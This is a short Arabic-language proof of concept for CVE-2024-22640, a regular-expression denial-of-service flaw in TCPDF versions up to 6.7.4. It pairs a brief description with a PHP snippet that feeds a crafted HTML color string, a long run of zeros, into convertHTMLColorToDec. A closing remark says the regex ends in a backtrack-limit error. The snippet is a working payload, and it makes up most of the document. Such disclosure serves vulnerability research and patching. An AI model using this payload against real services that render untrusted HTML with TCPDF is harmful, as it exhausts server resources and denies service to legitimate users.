
إثبات المفهوم لاستغلال CVE-2024-22640، وهي ثغرة من نوع ReDoS في TCPDF <=6.7.4 يتم تشغيلها بواسطة إدخال ألوان HTML مخصص، مع كود توضيحي.
رفض الخدمة بواسطة التعبير العادي (ReDoS)
TCPDF <= 6.7.4
تحليل TCPDF للون HTML يحتوي على حمولة معدّة.
إصدار TCPDF <= 6.7.4 معرض لثغرة رفض الخدمة بواسطة التعبير العادي (ReDoS) إذا تم تحليل صفحة HTML غير موثوقة تحتوي على لون معد.
<?php
require_once('../tcpdf.php');
$test = new TCPDF_COLORS();
$ref = "none";
$test -> convertHTMLColorToDec('["t"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!]',$ref);
?>
ملاحظة: التحقق باستخدام preg_last_error() بعد سطر الشيفرة المعرض للخطر، سينتهي التعبير العادي بـ PREG_BACKTRACK_LIMIT_ERROR.